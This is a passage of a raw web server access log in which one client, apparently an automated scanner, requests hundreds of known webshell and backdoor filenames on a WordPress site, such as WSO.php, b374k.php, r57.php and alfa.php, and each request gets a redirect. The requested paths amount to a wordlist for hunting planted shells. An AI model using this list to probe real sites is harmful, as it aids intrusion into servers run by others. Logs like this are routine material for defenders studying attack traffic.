HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:53 -0400] "GET /wp-admin/hindi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:54 -0400] "GET /wp-admin/indo.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:56 -0400] "GET /wp-admin/1945.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:58 -0400] "GET /wp-admin/Sym.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:50:59 -0400] "GET /wp-admin/lax.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:00 -0400] "GET /wp-admin/00.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:03 -0400] "GET /wp-admin/938383828272.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:04 -0400] "GET /wp-admin/ngentod.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:06 -0400] "GET /wp-admin/y0y0.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:09 -0400] "GET /wp-admin/galau.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:10 -0400] "GET /wp-admin/pc.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:11 -0400] "GET /wp-admin/pacman.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:14 -0400] "GET /wp-admin/kudaxload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:16 -0400] "GET /wp-admin/kudaxload.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:18 -0400] "GET /wp-admin/0999888.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:21 -0400] "GET /wp-admin/crotz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:22 -0400] "GET /wp-admin/kagetguababi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:24 -0400] "GET /wp-admin/indonesia.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:26 -0400] "GET /wp-admin/terserah.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:27 -0400] "GET /wp-admin/wp-user.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:28 -0400] "GET /wp-admin/robots.txt HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:29 -0400] "GET /wp-admin/ez.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:30 -0400] "GET /wp-admin/info.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:31 -0400] "GET /wp-admin/php.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:32 -0400] "GET /wp-admin/.-php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:33 -0400] "GET /wp-admin/-_-.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:37 -0400] "GET /wp-admin/r.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:42 -0400] "GET /wp-admin/babi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:43 -0400] "GET /wp-admin/ies.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:47 -0400] "GET /wp-admin/m3m3k.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:48 -0400] "GET /wp-admin/anon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:49 -0400] "GET /wp-admin/anonghost.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:51 -0400] "GET /wp-admin/anonymous.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:56 -0400] "GET /wp-admin/k2ll33d.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:56 -0400] "GET /wp-admin/4n0n.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:51:59 -0400] "GET /wp-admin/an0n.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:02 -0400] "GET /wp-admin/4non.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:03 -0400] "GET /wp-admin/blackhat.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:04 -0400] "GET /wp-admin/whitehat.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:05 -0400] "GET /wp-admin/hat.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:06 -0400] "GET /wp-admin/h4t.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:08 -0400] "GET /wp-admin/h3k.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:09 -0400] "GET /wp-admin/f1l3.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:10 -0400] "GET /wp-admin/cgi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:11 -0400] "GET /wp-admin/wp-blog.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:15 -0400] "GET /wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:17 -0400] "GET /wp-admin/shells.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:19 -0400] "GET /wp-admin/sh3lls.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:20 -0400] "GET /wp-admin/d00r.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:21 -0400] "GET /wp-admin/dork.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:22 -0400] "GET /wp-admin/uploader.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:23 -0400] "GET /wp-admin/war.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:23 -0400] "GET /wp-admin/l.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:25 -0400] "GET /wp-admin/z.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:26 -0400] "GET /wp-admin/z.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:28 -0400] "GET /wp-admin/h7.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:32 -0400] "GET /wp-admin/heker.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:34 -0400] "GET /wp-admin/hekel.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:35 -0400] "GET /wp-admin/k0nt0l.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:39 -0400] "GET /wp-admin/k0nt0l.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:41 -0400] "GET /wp-admin/mmk.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:44 -0400] "GET /wp-admin/mmk.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:46 -0400] "GET /wp-admin/login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:47 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:49 -0400] "GET /wp-admin/hidden.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:50 -0400] "GET /wp-admin/regis.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:51 -0400] "GET /wp-admin/us.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:54 -0400] "GET /wp-admin/string.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:56 -0400] "GET /wp-admin/c0der.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:57 -0400] "GET /wp-admin/c0der.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:52:59 -0400] "GET /wp-admin/code.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:01 -0400] "GET /wp-admin/code.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:02 -0400] "GET /wp-admin/blank.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:03 -0400] "GET /wp-admin/blank.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:06 -0400] "GET /wp-admin/minion.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:07 -0400] "GET /wp-admin/minionghost.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:08 -0400] "GET /wp-admin/gh0st.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:09 -0400] "GET /wp-admin/cracker.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:10 -0400] "GET /wp-admin/cracker.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:12 -0400] "GET /wp-admin/crack.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:12 -0400] "GET /wp-admin/ups.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:15 -0400] "GET /wp-admin/naruto.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:18 -0400] "GET /wp-admin/000.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:21 -0400] "GET /wp-admin/k2ll.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:23 -0400] "GET /wp-admin/Uploader.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:24 -0400] "GET /wp-admin/up HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:29 -0400] "GET /wp-admin/up.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:30 -0400] "GET /wp-admin/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:34 -0400] "GET /wp-admin/upload HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:37 -0400] "GET /wp-admin/WSO.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:39 -0400] "GET /wp-admin/dz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:40 -0400] "GET /wp-admin/DZ.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:42 -0400] "GET /wp-admin/cpanel.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:43 -0400] "GET /wp-admin/cpn.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:44 -0400] "GET /wp-admin/sos.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:45 -0400] "GET /wp-admin/term.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:46 -0400] "GET /wp-admin/Sec-War.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:49 -0400] "GET /wp-admin/sql.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:50 -0400] "GET /wp-admin/b374.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:50 -0400] "GET /wp-admin/ssl.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:53 -0400] "GET /wp-admin/mysql.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:55 -0400] "GET /wp-admin/WolF.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:57 -0400] "GET /wp-admin/madspot.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:58 -0400] "GET /wp-admin/Cgishell.pl HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:53:59 -0400] "GET /wp-admin/killer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:00 -0400] "GET /wp-admin/changeall.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:01 -0400] "GET /wp-admin/Sh3ll.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:03 -0400] "GET /wp-admin/dz0.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:04 -0400] "GET /wp-admin/XAttacker.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:05 -0400] "GET /wp-admin/Xattacker.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:06 -0400] "GET /wp-admin/XAttacker.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:07 -0400] "GET /wp-admin/Xattacker.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:09 -0400] "GET /wp-admin/dam.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:12 -0400] "GET /wp-admin/dom.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:13 -0400] "GET /wp-admin/mini.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:14 -0400] "GET /wp-admin/whmcs.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:15 -0400] "GET /wp-admin/badcode.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:15 -0400] "GET /wp-admin/b374k.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:17 -0400] "GET /wp-admin/r57.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:17 -0400] "GET /wp-admin/berandal.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:20 -0400] "GET /wp-admin/alpashell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:24 -0400] "GET /wp-admin/alpa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:26 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:27 -0400] "GET /wp-admin/cyber.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:29 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:31 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:33 -0400] "GET /wp-admin/cybershell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:35 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:36 -0400] "GET /wp-admin/sement.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:39 -0400] "GET /wp-admin/semen.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:40 -0400] "GET /wp-admin/gans.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:41 -0400] "GET /wp-admin/ganz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:43 -0400] "GET /wp-admin/wa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:44 -0400] "GET /wp-admin/network.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:48 -0400] "GET /wp-admin/ghost.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:50 -0400] "GET /wp-admin/hgt.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:51 -0400] "GET /wp-admin/hiddenuploader.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:53 -0400] "GET /wp-admin/team.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:55 -0400] "GET /wp-admin/nub.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:54:56 -0400] "GET /wp-admin/linux.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:00 -0400] "GET /wp-admin/memekbau.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:01 -0400] "GET /wp-admin/tembem.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:03 -0400] "GET /wp-admin/miabi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:05 -0400] "GET /wp-admin/mia.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:06 -0400] "GET /wp-admin/tikung.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:09 -0400] "GET /wp-admin/xxx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:11 -0400] "GET /wp-admin/sex.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:13 -0400] "GET /wp-admin/seks.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:14 -0400] "GET /wp-admin/download.php/err0r.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:15 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:16 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:18 -0400] "GET /utchiha505.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:19 -0400] "GET /wp-admin/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:20 -0400] "GET /.well-known/fazemrx1949.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:22 -0400] "GET /wp-admin/css/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:23 -0400] "GET /.well-known/utchiha505.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:25 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:26 -0400] "GET /wp-admin/includes/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:29 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:30 -0400] "GET /wp-admin/maint/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:31 -0400] "GET /wp-includes/fazemrx1949.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:33 -0400] "GET /wp-admin/network/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:34 -0400] "GET /wp-admin/user/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:35 -0400] "GET /wp-admin/404TVS/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:37 -0400] "GET /.well-known/pki-validation/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:40 -0400] "GET /.well-known/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:42 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:43 -0400] "GET /images/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:44 -0400] "GET /cache1/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:47 -0400] "GET /cc888f23/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:51 -0400] "GET /wp-content/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:53 -0400] "GET /wp-content/themes/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:55 -0400] "GET /wp-content/plugins/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:56 -0400] "GET /wp-content/uploads/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:57 -0400] "GET /wp-content/upgrades/license.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:55:59 -0400] "GET /wp-admin/download.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:01 -0400] "GET /wp-admin/downloadbokep.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:02 -0400] "GET /wp-admin/bokep.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:04 -0400] "GET /wp-admin/999.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:06 -0400] "GET /wp-admin/b.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:09 -0400] "GET 